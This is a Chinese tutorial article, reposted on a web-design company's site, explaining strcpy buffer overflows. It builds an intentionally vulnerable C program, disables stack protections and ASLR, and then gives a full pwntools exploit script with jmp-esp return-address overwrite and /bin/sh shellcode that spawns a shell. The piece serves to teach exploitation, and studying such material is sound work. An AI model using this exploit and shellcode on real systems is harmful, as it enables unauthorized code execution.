strcpy为何不安全-成都创新互联网站建设

关于创新互联

多方位宣传企业产品与服务 突出企业形象

公司简介 公司的服务 荣誉资质 新闻动态 联系我们

strcpy为何不安全

本篇文章给大家分享的是有关strcpy为何不安全,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

成都创新互联公司是一家集网站建设,宕昌企业网站建设,宕昌品牌网站建设,网站定制,宕昌网站建设报价,网络营销,网络优化,宕昌网站推广为一体的创新建站企业,帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿,时刻以成就客户成长自我,坚持不断学习、思考、沉淀、净化自己,让我们为更多的企业打造出实用型网站。

引言

在刚刚开始学校C语言的时候,很多人都用过strcpy这个函数。简单说是一个内存复制的函数。这个函数确实非常方便,但是这个函数是非常不安全,由与这个函数而产生的缓冲区溢出漏洞在很多文章中都有所介绍。我们应该摒弃strcpy的使用,而是用strncpy进行代替。

原型声明:char *strcpy(char* dest, const char *src);

头文件:#include 和 #include

功能:把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间

说明:src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。

既然这个函数能造成缓冲区溢出漏洞,那么这个漏洞究竟是什么样子的那,怎么利用这个漏洞那。很多文章对这个却搞的讳莫如深,让人一头雾水。要弄懂这个,我们先了解下Linux下32为程序函数调用约定。

函数调用约定(32位)

以下是一个简单的C程序stackOf.c,后续的内容也是围绕这这个程序展开的。

#include

#include

#include

void  vul(char * msg){

   char buffer[64] ;

   strcpy(buffer,msg);

   return ;

}

int main(){

   puts("please give me your shellcode:");

   char shellcode[256];

   memset(shellcode,0,256);

   read(0,shellcode,256);

   vul(shellcode);

   return 0;

}

这个程序的功能很简单,就是将输入的内容复制到buffer中。不过这里有一个问题,buffer只有64个字节,而输入却可以是256个字节,这会引发什么问题那?下面部分再说。这里我们来看在执行 vul(shellcode);的时候,对应的汇编代码是什么样子的那,以及进入vul函数和退出vul函数的时候,堆栈的变化情况。函数调用主要有两个点需要关注:(1)参数的出入方式(2)堆栈的平衡

strcpy为何不安全

这个例子中只有一个参数,可以看出先进行push eax操作,在执行call sym.vul。也就是先将参数入栈,再进行调用操作。

CALL指令(“调用”指令)的功能,就是以下两点:

  1. 将下一条指令的所在地址(即当时程序计数器PC的内容)入栈,

  2. 并将子程序的起始地址送入PC(于是CPU的下一条指令就会转去执行子程序)

流程如下图所示:strcpy为何不安全在看下vul的汇编代码:strcpy为何不安全首先将老的ebp入栈,为何需要这一步,为了方便栈回溯。至于栈回溯的问题,后续会单独来说。重点来说一下leave和ret指令:

CPU执行ret指令时,进行下面的两步操作:(IP) = ((ss)*16 +(sp))(返回地址)(esp) = (esp)+2(32为是+4)

leave指令的作用: 在32位汇编下相当于:mov esp,ebp;//将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esppop ebp

程序编译运行

编译stackOf.c

gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c

运行结果如下:strcpy为何不安全最好加一条命令关闭系统的的地址随机化

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用户,可以使用:

echo 0 > /proc/sys/kernel/randomize_va_space

查资料结论是sudo命令不支持重定向。

攻击的思路

这里来说说一下buffer只有64个字节,而输入却可以是256个字节,这会引发的问题。当用户输入过长时,会向高地址覆盖。strcpy为何不安全如果将返回地址覆盖为:strcpy为何不安全就是将返回地址覆盖为jum esp的地址,这样当函数返回的时候,eip指向的就是jmp esp的地址strcpy为何不安全我们精心设计的buffer= 填充字符 + jmp_esp地址 +shellcode

填充数据

那么数据是怎么计算出来的那。用r2进行调试(gdb也可以),在strcpy出下断点,运行:strcpy为何不安全通过分析vul的汇编代码,可知在strcpy调用前将ebx(0xffa97850)入栈,而这就是buffer的起始地址,ebp的地址是0xffa97898,两者相见是0x48 = 64+8 = 72, 别忘了还有ebp在进入函数的时候也入栈了,所以还需要加上4个字节,也就是76个字节。

jum esp地址

通过ldd命令可查看libc.so的加载地址strcpy为何不安全UTF-8这个需要加上,能够避免中文乱码。

#-*- coding: UTF-8 -*-

from pwn import *

p = process('./pwnme')                    #运行程序

p.recvuntil("shellcode:")                 #当接受到字符串'shellcode:'

#找jmp_esp_addr_offset

libc = ELF('/lib32/libc.so.6')              

jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:

   print 'Cannot find jmp_esp in libc'

else:

   print hex(jmp_esp_addr_offset)

libc_base = 0xf7de0000                              #你找到的libc加载地址

jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base,结合图解一下strcpy为何不安全

编写shellcode

shellcode如下所示:

'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

完整攻击代码

#-*- coding: UTF-8 -*-

from pwn import *

p = process('./pwnme')                    #运行程序

p.recvuntil("shellcode:")                 #当接受到字符串'shellcode:'

#找jmp_esp_addr_offset

libc = ELF('/lib32/libc.so.6')              

jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:

   print 'Cannot find jmp_esp in libc'

else:

   print hex(jmp_esp_addr_offset)

libc_base = 0xf7de0000                              #你找到的libc加载地址

jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

#构造布局

buf = 'A'*76                                                    

buf += p32(jmp_esp_addr)

buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:

   f.write(buf)

p.sendline(buf)                                                #发送构造后的buf

p.interactive()

攻击效果

从图中可以看出我们居然获得了shell,那删除文件、浏览文件、复制文件等等很多操作都可以随心所欲。strcpy为何不安全

以上就是strcpy为何不安全,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注创新互联行业资讯频道。


网站栏目:strcpy为何不安全
路径分享:http://kswsj.cn/article/jccsgj.html

其他资讯